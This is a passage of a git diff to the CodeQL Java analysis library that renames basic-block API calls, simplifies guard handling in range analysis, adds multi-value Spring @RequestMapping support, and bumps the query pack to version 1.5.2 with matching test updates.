certainVariableUpdate(TrackedVar v, ControlFlowNode n, BasicBl pragma[nomagic] private predicate hasEntryDef(TrackedVar v, BasicBlock b) { exists(LocalScopeVariable l, Callable c | - v = TLocalVar(c, l) and c.getBody().getControlFlowNode() = b + v = TLocalVar(c, l) and c.getBody().getBasicBlock() = b | l instanceof Parameter or l.getCallable() != c ) or - v instanceof SsaSourceField and v.getEnclosingCallable().getBody().getControlFlowNode() = b + v instanceof SsaSourceField and v.getEnclosingCallable().getBody().getBasicBlock() = b } /** Holds if `n` might update the locally tracked variable `v`. */ @@ -165,15 +165,14 @@ private predicate uncertainVariableUpdate(TrackedVar v, ControlFlowNode n, Basic private module SsaInput implements SsaImplCommon::InputSig { private import java as J - private import semmle.code.java.controlflow.Dominance as Dom class BasicBlock = J::BasicBlock; class ControlFlowNode = J::ControlFlowNode; - BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { Dom::bbIDominates(result, bb) } + BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { result.immediatelyDominates(bb) } - BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getABBSuccessor() } + BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getASuccessor() } class SourceVariable = SsaSourceVariable; @@ -655,16 +654,7 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu def instanceof SsaUncertainImplicitUpdate } - class Guard extends Guards::Guard { - /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. - */ - predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { - super.hasBranchEdge(bb1, bb2, branch) - } - } + class Guard = Guards::Guard; /** Holds if the guard `guard` directly controls block `bb` upon evaluating to `branch`. */ predicate guardDirectlyControlsBlock(Guard guard, BasicBlock bb, boolean branch) { diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll index c88b9946faad..b639947793b5 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll @@ -4,7 +4,6 @@ module Private { private import semmle.code.java.dataflow.RangeUtils as RU private import semmle.code.java.controlflow.Guards as G private import semmle.code.java.controlflow.BasicBlocks as BB - private import semmle.code.java.controlflow.internal.GuardsLogic as GL private import SsaReadPositionCommon class BasicBlock = BB::BasicBlock; @@ -15,7 +14,7 @@ module Private { class Expr = J::Expr; - class Guard = G::Guard; + class Guard = G::Guard_v2; class ConstantIntegerExpr = RU::ConstantIntegerExpr; @@ -101,29 +100,17 @@ module Private { } } - /** - * Holds if `guard` directly controls the position `controlled` with the - * value `testIsTrue`. - */ - pragma[nomagic] - predicate guardDirectlyControlsSsaRead(Guard guard, SsaReadPosition controlled, boolean testIsTrue) { - guard.directlyControls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) - or - exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | - guard.directlyControls(controlledEdge.getOrigBlock(), testIsTrue) or - guard.hasBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), testIsTrue) - ) - } - /** * Holds if `guard` controls the position `controlled` with the value `testIsTrue`. */ predicate guardControlsSsaRead(Guard guard, SsaReadPosition controlled, boolean testIsTrue) { - guardDirectlyControlsSsaRead(guard, controlled, testIsTrue) + guard.controls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) or - exists(Guard guard0, boolean testIsTrue0 | - GL::implies_v2(guard0, testIsTrue0, guard, testIsTrue) and - guardControlsSsaRead(guard0, controlled, testIsTrue0) + exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | + guard.controls(controlledEdge.getOrigBlock(), testIsTrue) or + guard + .controlsBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), + testIsTrue) ) } diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll index ee2e3bb24123..04e896b26011 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll @@ -7,13 +7,12 @@ module Private { private import semmle.code.java.dataflow.SSA as Ssa private import semmle.code.java.controlflow.Guards as G private import SsaReadPositionCommon - private import semmle.code.java.controlflow.internal.GuardsLogic as GL private import Sign import Impl class ConstantIntegerExpr = RU::ConstantIntegerExpr; - class Guard = G::Guard; + class Guard = G::Guard_v2; class SsaVariable = Ssa::SsaVariable; @@ -170,31 +169,17 @@ module Private { predicate ssaRead = RU::ssaRead/2; - /** - * Holds if `guard` directly controls the position `controlled` with the - * value `testIsTrue`. - */ - pragma[nomagic] - private predicate guardDirectlyControlsSsaRead( - Guard guard, SsaReadPosition controlled, boolean testIsTrue - ) { - guard.directlyControls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) - or - exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | - guard.directlyControls(controlledEdge.getOrigBlock(), testIsTrue) or - guard.hasBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), testIsTrue) - ) - } - /** * Holds if `guard` controls the position `controlled` with the value `testIsTrue`. */ predicate guardControlsSsaRead(Guard guard, SsaReadPosition controlled, boolean testIsTrue) { - guardDirectlyControlsSsaRead(guard, controlled, testIsTrue) + guard.controls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) or - exists(Guard guard0, boolean testIsTrue0 | - GL::implies_v2(guard0, testIsTrue0, guard, testIsTrue) and - guardControlsSsaRead(guard0, controlled, testIsTrue0) + exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | + guard.controls(controlledEdge.getOrigBlock(), testIsTrue) or + guard + .controlsBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), + testIsTrue) ) } } diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll index 8712ad635f5c..9b081150e893 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SsaReadPositionSpecific.qll @@ -19,7 +19,7 @@ private predicate id(BB::ExprParent x, BB::ExprParent y) { x = y } private predicate idOfAst(BB::ExprParent x, int y) = equivalenceRelation(id/2)(x, y) -private predicate idOf(BasicBlock x, int y) { idOfAst(x.getAstNode(), y) } +private predicate idOf(BasicBlock x, int y) { idOfAst(x.getFirstNode().getAstNode(), y) } private int getId(BasicBlock bb) { idOf(bb, result) } diff --git a/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll b/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll index a222be20c20a..c93993336d95 100644 --- a/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll +++ b/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll @@ -153,8 +153,16 @@ class SpringRequestMappingMethod extends SpringControllerMethod { result = this.getProducesExpr().(CompileTimeConstantExpr).getStringValue() } - /** Gets the "value" @RequestMapping annotation value, if present. */ - string getValue() { result = requestMappingAnnotation.getStringValue("value") } + /** DEPRECATED: Use `getAValue()` instead. */ + deprecated string getValue() { result = requestMappingAnnotation.getStringValue("value") } + + /** + * Gets a "value" @RequestMapping annotation string value, if present. + * + * If the annotation element is defined with an array initializer, then the result will be one of the + * elements of that array. Otherwise, the result will be the single expression used as value. + */ + string getAValue() { result = requestMappingAnnotation.getAStringArrayValue("value") } /** Gets the "method" @RequestMapping annotation value, if present. */ string getMethodValue() { diff --git a/java/ql/lib/semmle/code/java/security/AndroidWebViewCertificateValidationQuery.qll b/java/ql/lib/semmle/code/java/security/AndroidWebViewCertificateValidationQuery.qll index 8e6a9c30141f..8d53766e0080 100644 --- a/java/ql/lib/semmle/code/java/security/AndroidWebViewCertificateValidationQuery.qll +++ b/java/ql/lib/semmle/code/java/security/AndroidWebViewCertificateValidationQuery.qll @@ -24,6 +24,6 @@ private class SslProceedCall extends MethodCall { /** Holds if `m` trusts all certificates by calling `SslErrorHandler.proceed` unconditionally. */ predicate trustsAllCerts(OnReceivedSslErrorMethod m) { exists(SslProceedCall pr | pr.getQualifier().(VarAccess).getVariable() = m.handlerArg() | - pr.getBasicBlock().bbPostDominates(m.getBody().getBasicBlock()) + pr.getBasicBlock().postDominates(m.getBody().getBasicBlock()) ) } diff --git a/java/ql/lib/semmle/code/java/security/PathSanitizer.qll b/java/ql/lib/semmle/code/java/security/PathSanitizer.qll index 8b08b5a78f2f..f3385c94646b 100644 --- a/java/ql/lib/semmle/code/java/security/PathSanitizer.qll +++ b/java/ql/lib/semmle/code/java/security/PathSanitizer.qll @@ -21,7 +21,7 @@ private module ValidationMethod { validationMethod(ma.getMethod(), pos) and ma.getArgument(pos) = rv and adjacentUseUseSameVar(rv, result.asExpr()) and - ma.getBasicBlock().bbDominates(result.asExpr().getBasicBlock()) + ma.getBasicBlock().dominates(result.asExpr().getBasicBlock()) ) } diff --git a/java/ql/lib/semmle/code/java/security/UrlForwardQuery.qll b/java/ql/lib/semmle/code/java/security/UrlForwardQuery.qll index bc3b40009270..7234b4c788f5 100644 --- a/java/ql/lib/semmle/code/java/security/UrlForwardQuery.qll +++ b/java/ql/lib/semmle/code/java/security/UrlForwardQuery.qll @@ -168,7 +168,7 @@ private class FullyDecodesUrlBarrier extends DataFlow::Node { exists(Variable v, Expr e | this.asExpr() = v.getAnAccess() | fullyDecodesUrlGuard(e) and e = v.getAnAccess() and - e.getBasicBlock().bbDominates(this.asExpr().getBasicBlock()) + e.getBasicBlock().dominates(this.asExpr().getBasicBlock()) ) } } diff --git a/java/ql/lib/semmle/code/java/security/Validation.qll b/java/ql/lib/semmle/code/java/security/Validation.qll index 50f0a9aab1b6..664c55e70d82 100644 --- a/java/ql/lib/semmle/code/java/security/Validation.qll +++ b/java/ql/lib/semmle/code/java/security/Validation.qll @@ -40,16 +40,16 @@ private predicate validatedAccess(VarAccess va) { guardcall.getControlFlowNode() = node | exists(BasicBlock succ | - succ = node.getANormalSuccessor() and + succ.getFirstNode() = node.getANormalSuccessor() and dominatingEdge(node.getBasicBlock(), succ) and - succ.bbDominates(va.getBasicBlock()) + succ.dominates(va.getBasicBlock()) ) or exists(BasicBlock bb, int i | bb.getNode(i) = node and bb.getNode(i + 1) = node.getANormalSuccessor() | - bb.bbStrictlyDominates(va.getBasicBlock()) or + bb.strictlyDominates(va.getBasicBlock()) or bb.getNode(any(int j | j > i)).asExpr() = va ) ) diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md index 286ed1123af3..ca355f5e6848 100644 --- a/java/ql/src/CHANGELOG.md +++ b/java/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.5.2 + +No user-facing changes. + +## 1.5.1 + +### Minor Analysis Improvements + +* The query `java/hardcoded-credential-api-call` has been removed from all query suites. + ## 1.5.0 ### Query Metadata Changes diff --git a/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql b/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql index 73c66c664f1a..118593e31fe8 100644 --- a/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql +++ b/java/ql/src/Likely Bugs/Concurrency/UnreleasedLock.ql @@ -99,8 +99,8 @@ predicate failedLock(LockType t, BasicBlock lockblock, BasicBlock exblock) { ) ) and ( - lock.getAnExceptionSuccessor() = exblock or - lock.(ConditionNode).getAFalseSuccessor() = exblock + lock.getAnExceptionSuccessor() = exblock.getFirstNode() or + lock.(ConditionNode).getAFalseSuccessor() = exblock.getFirstNode() ) ) } @@ -113,7 +113,7 @@ predicate heldByCurrentThreadCheck(LockType t, BasicBlock checkblock, BasicBlock exists(ConditionBlock conditionBlock | conditionBlock.getCondition() = t.getIsHeldByCurrentThreadAccess() | - conditionBlock.getBasicBlock() = checkblock and + conditionBlock = checkblock and conditionBlock.getTestSuccessor(false) = falsesucc ) } @@ -133,7 +133,7 @@ predicate variableLockStateCheck(LockType t, BasicBlock checkblock, BasicBlock f conditionBlock.getTestSuccessor(true) = t.getUnlockAccess().getBasicBlock() and conditionBlock.getCondition() = v | - conditionBlock.getBasicBlock() = checkblock and + conditionBlock = checkblock and conditionBlock.getTestSuccessor(false) = falsesucc ) } @@ -145,9 +145,7 @@ predicate variableLockStateCheck(LockType t, BasicBlock checkblock, BasicBlock f predicate blockIsLocked(LockType t, BasicBlock src, BasicBlock b, int locks) { lockUnlockBlock(t, b, locks) and src = b and locks > 0 or - exists(BasicBlock pred, int predlocks, int curlocks, int failedlock | - pred = b.getABBPredecessor() - | + exists(BasicBlock pred, int predlocks, int curlocks, int failedlock | pred = b.getAPredecessor() | // The number of net locks from the `src` block to the predecessor block `pred` is `predlocks`. blockIsLocked(t, src, pred, predlocks) and // The recursive call ensures that at least one lock is held, so do not consider the false diff --git a/java/ql/src/Likely Bugs/Likely Typos/NestedLoopsSameVariable.ql b/java/ql/src/Likely Bugs/Likely Typos/NestedLoopsSameVariable.ql index 83781f853778..f3f23e6893ba 100644 --- a/java/ql/src/Likely Bugs/Likely Typos/NestedLoopsSameVariable.ql +++ b/java/ql/src/Likely Bugs/Likely Typos/NestedLoopsSameVariable.ql @@ -18,6 +18,6 @@ where iteration = inner.getAnIterationVariable() and iteration = outer.getAnIterationVariable() and inner.getEnclosingStmt+() = outer and - inner.getBasicBlock().getABBSuccessor+() = outer.getCondition().getBasicBlock() + inner.getBasicBlock().getASuccessor+() = outer.getCondition().getBasicBlock() select inner.getCondition(), "Nested for statement uses loop variable $@ of enclosing $@.", iteration, iteration.getName(), outer, "for statement" diff --git a/java/ql/src/Performance/StringReplaceAllWithNonRegex.md b/java/ql/src/Performance/StringReplaceAllWithNonRegex.md index 6e298b4955b6..c7bb609b2c02 100644 --- a/java/ql/src/Performance/StringReplaceAllWithNonRegex.md +++ b/java/ql/src/Performance/StringReplaceAllWithNonRegex.md @@ -18,6 +18,7 @@ public class Test { String s1 = "test"; s1 = s1.replaceAll("t", "x"); // NON_COMPLIANT s1 = s1.replaceAll(".*", "x"); // COMPLIANT + s1 = s1.replace("t", "x"); // COMPLIANT } } diff --git a/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql b/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql index 410cea0ed03a..7153ba726da9 100644 --- a/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql +++ b/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 9.8 - * @precision medium + * @precision low * @id java/hardcoded-credential-api-call * @tags security * external/cwe/cwe-798 diff --git a/java/ql/src/Violations of Best Practice/Dead Code/DeadLocals.qll b/java/ql/src/Violations of Best Practice/Dead Code/DeadLocals.qll index 773743370f64..26c5ed66a86d 100644 --- a/java/ql/src/Violations of Best Practice/Dead Code/DeadLocals.qll +++ b/java/ql/src/Violations of Best Practice/Dead Code/DeadLocals.qll @@ -37,7 +37,7 @@ predicate overwritten(VariableUpdate upd) { bb1.getNode(i) = upd.getControlFlowNode() and bb2.getNode(j) = overwrite.getControlFlowNode() | - bb1.getABBSuccessor+() = bb2 + bb1.getASuccessor+() = bb2 or bb1 = bb2 and i < j ) diff --git a/java/ql/src/Violations of Best Practice/Declarations/Common.qll b/java/ql/src/Violations of Best Practice/Declarations/Common.qll index 9211c4b0f290..9b3225db81a1 100644 --- a/java/ql/src/Violations of Best Practice/Declarations/Common.qll +++ b/java/ql/src/Violations of Best Practice/Declarations/Common.qll @@ -14,7 +14,7 @@ private predicate blockInSwitch(SwitchStmt s, BasicBlock b) { private predicate switchCaseControlFlow(SwitchStmt switch, BasicBlock b1, BasicBlock b2) { blockInSwitch(switch, b1) and - b1.getABBSuccessor() = b2 and + b1.getASuccessor() = b2 and blockInSwitch(switch, b2) } diff --git a/java/ql/src/change-notes/released/1.5.1.md b/java/ql/src/change-notes/released/1.5.1.md new file mode 100644 index 000000000000..23e49bba7294 --- /dev/null +++ b/java/ql/src/change-notes/released/1.5.1.md @@ -0,0 +1,5 @@ +## 1.5.1 + +### Minor Analysis Improvements + +* The query `java/hardcoded-credential-api-call` has been removed from all query suites. diff --git a/java/ql/src/change-notes/released/1.5.2.md b/java/ql/src/change-notes/released/1.5.2.md new file mode 100644 index 000000000000..384c27833f18 --- /dev/null +++ b/java/ql/src/change-notes/released/1.5.2.md @@ -0,0 +1,3 @@ +## 1.5.2 + +No user-facing changes. diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml index 639f80c43417..7eb901bae56a 100644 --- a/java/ql/src/codeql-pack.release.yml +++ b/java/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.0 +lastReleaseVersion: 1.5.2 diff --git a/java/ql/src/meta/ssa/UseWithoutUniqueSsaVariable.ql b/java/ql/src/meta/ssa/UseWithoutUniqueSsaVariable.ql index 85bd192fe99a..76f6ee37fb1c 100644 --- a/java/ql/src/meta/ssa/UseWithoutUniqueSsaVariable.ql +++ b/java/ql/src/meta/ssa/UseWithoutUniqueSsaVariable.ql @@ -13,7 +13,7 @@ import semmle.code.java.dataflow.SSA class SsaConvertibleReadAccess extends VarRead { SsaConvertibleReadAccess() { - this.getEnclosingCallable().getBody().getBasicBlock().getABBSuccessor*() = this.getBasicBlock() and + this.getEnclosingCallable().getBody().getBasicBlock().getASuccessor*() = this.getBasicBlock() and ( not exists(this.getQualifier()) or diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index eb187075e823..4ea0bc399ca8 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.0 +version: 1.5.2 groups: - java - queries diff --git a/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index 1fe70bae0b5b..39e8cd9a0a4a 100644 --- a/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/java/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -10,5 +10,5 @@ import internal.CaptureModels import SummaryModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _) +where flow = ContentSensitive::captureFlow(api, _, _, _, _) select flow order by flow diff --git a/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql b/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql index b9dc9ea236a0..1c5204c3b9b2 100644 --- a/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql +++ b/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql @@ -16,7 +16,7 @@ import PartialFlow::PartialPathGraph int explorationLimit() { result = 3 } -module PartialFlow = Heuristic::PropagateFlow::FlowExplorationFwd; +module PartialFlow = Heuristic::PropagateTaintFlow::FlowExplorationFwd; from PartialFlow::PartialPathNode source, PartialFlow::PartialPathNode sink, diff --git a/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql b/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql index 5925364800c9..20559f00cbfe 100644 --- a/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql +++ b/java/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql @@ -12,16 +12,15 @@ import java import semmle.code.java.dataflow.DataFlow import utils.modelgenerator.internal.CaptureModels import SummaryModels -import Heuristic -import PropagateFlow::PathGraph +import Heuristic::PropagateTaintFlow::PathGraph from - PropagateFlow::PathNode source, PropagateFlow::PathNode sink, DataFlowSummaryTargetApi api, - DataFlow::Node p, DataFlow::Node returnNodeExt + Heuristic::PropagateTaintFlow::PathNode source, Heuristic::PropagateTaintFlow::PathNode sink, + DataFlowSummaryTargetApi api, DataFlow::Node p, DataFlow::Node returnNodeExt where - PropagateFlow::flowPath(source, sink) and + Heuristic::PropagateTaintFlow::flowPath(source, sink) and p = source.getNode() and returnNodeExt = sink.getNode() and - exists(captureThroughFlow0(api, p, returnNodeExt)) + Heuristic::captureThroughFlow0(api, p, returnNodeExt) select sink.getNode(), source, sink, "There is flow from $@ to the $@.", source.getNode(), "parameter", sink.getNode(), "return value" diff --git a/java/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/java/ql/src/utils/modelgenerator/internal/CaptureModels.qll index 09223d23b1c5..aa68a4332910 100644 --- a/java/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/java/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -92,7 +92,7 @@ module ModelGeneratorCommonInput implements ModelGeneratorCommonInputSig diff --git a/java/ql/test/library-tests/frameworks/spring/controller/Test.java b/java/ql/test/library-tests/frameworks/spring/controller/Test.java index 6267073ce876..ad4fbc89f44f 100644 --- a/java/ql/test/library-tests/frameworks/spring/controller/Test.java +++ b/java/ql/test/library-tests/frameworks/spring/controller/Test.java @@ -32,92 +32,93 @@ public class Test { - static void sink(Object o) {} + static void sink(Object o) { + } @Controller static class NotTaintedTest { @RequestMapping("/") - public void get(WebRequest src) { + public void get(WebRequest src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(NativeWebRequest src) { + public void get(NativeWebRequest src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(ServletRequest src) { + public void get(ServletRequest src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(HttpSession src) { + public void get(HttpSession src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(PushBuilder src) { + public void get(PushBuilder src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(Principal src) { + public void get(Principal src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(HttpMethod src) { + public void get(HttpMethod src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(Locale src) { + public void get(Locale src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(TimeZone src) { + public void get(TimeZone src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(ZoneId src) { + public void get(ZoneId src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(OutputStream src) { + public void get(OutputStream src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(Writer src) { + public void get(Writer src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(RedirectAttributes src) { + public void get(RedirectAttributes src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(Errors src) { + public void get(Errors src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(SessionStatus src) { + public void get(SessionStatus src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(UriComponentsBuilder src) { + public void get(UriComponentsBuilder src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(Pageable src) { + public void get(Pageable src) { // $ RequestMappingURL="/" sink(src); } } @@ -125,62 +126,62 @@ public void get(Pageable src) { @Controller static class ExplicitlyTaintedTest { @RequestMapping("/") - public void get(InputStream src) { + public void get(InputStream src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void get(Reader src) { + public void get(Reader src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void matrixVariable(@MatrixVariable Object src) { + public void matrixVariable(@MatrixVariable Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void requestParam(@RequestParam Object src) { + public void requestParam(@RequestParam Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void requestHeader(@RequestHeader Object src) { + public void requestHeader(@RequestHeader Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void cookieValue(@CookieValue Object src) { + public void cookieValue(@CookieValue Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void requestPart(@RequestPart Object src) { + public void requestPart(@RequestPart Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void pathVariable(@PathVariable Object src) { + public void pathVariable(@PathVariable Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void requestBody(@RequestBody Object src) { + public void requestBody(@RequestBody Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void get(HttpEntity src) { + public void get(HttpEntity src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void requestAttribute(@RequestAttribute Object src) { + public void requestAttribute(@RequestAttribute Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void sessionAttribute(@SessionAttribute Object src) { + public void sessionAttribute(@SessionAttribute Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } } @@ -191,13 +192,20 @@ static class Pojo { } @RequestMapping("/") - public void get(String src) { + public void get(String src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void get1(Pojo src) { + public void get1(Pojo src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } } + + @Controller + static class MultipleValuesTest { + @RequestMapping({"/a", "/b"}) + public void get(WebRequest src) { // $ RequestMappingURL="/a" RequestMappingURL="/b" + } + } } diff --git a/java/ql/test/query-tests/StringReplaceAllWithNonRegex/Test.java b/java/ql/test/query-tests/StringReplaceAllWithNonRegex/Test.java index 1465343b8c2e..86711c93de51 100644 --- a/java/ql/test/query-tests/StringReplaceAllWithNonRegex/Test.java +++ b/java/ql/test/query-tests/StringReplaceAllWithNonRegex/Test.java @@ -3,5 +3,6 @@ void f() { String s1 = "test"; s1 = s1.replaceAll("t", "x"); // $ Alert // NON_COMPLIANT s1 = s1.replaceAll(".*", "x"); // COMPLIANT + s1 = s1.replace("t", "x"); // COMPLIANT } } diff --git a/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql b/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql index b3d9101633b8..aecabe429019 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql +++ b/java/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _) } + string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _, _, _, _) } string getKind() { result = "contentbased-summary" } } diff --git a/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql b/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql index 8d6021ab42e4..ae1b25a28143 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql +++ b/java/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = Heuristic::captureFlow(c) } + string getCapturedModel(Callable c) { result = Heuristic::captureFlow(c, _) } string getKind() { result = "heuristic-summary" } } diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/FinalClass.java b/java/ql/test/utils/modelgenerator/dataflow/p/FinalClass.java index 993248f9bf80..431140c51541 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/FinalClass.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/FinalClass.java @@ -4,7 +4,7 @@ public final class FinalClass { private static final String C = "constant"; - // heuristic-summary=p;FinalClass;false;returnsInput;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;FinalClass;false;returnsInput;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;FinalClass;false;returnsInput;(String);;Argument[0];ReturnValue;value;dfc-generated public String returnsInput(String input) { return input; diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/ImmutablePojo.java b/java/ql/test/utils/modelgenerator/dataflow/p/ImmutablePojo.java index 711d49cc1fc3..0f784ae859f8 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/ImmutablePojo.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/ImmutablePojo.java @@ -24,7 +24,7 @@ public long getX() { return x; } - // heuristic-summary=p;ImmutablePojo;false;or;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;ImmutablePojo;false;or;(String);;Argument[0];ReturnValue;value;df-generated // heuristic-summary=p;ImmutablePojo;false;or;(String);;Argument[this];ReturnValue;taint;df-generated // contentbased-summary=p;ImmutablePojo;false;or;(String);;Argument[0];ReturnValue;value;dfc-generated // contentbased-summary=p;ImmutablePojo;false;or;(String);;Argument[this].SyntheticField[p.ImmutablePojo.value];ReturnValue;value;dfc-generated diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/Inheritance.java b/java/ql/test/utils/modelgenerator/dataflow/p/Inheritance.java index 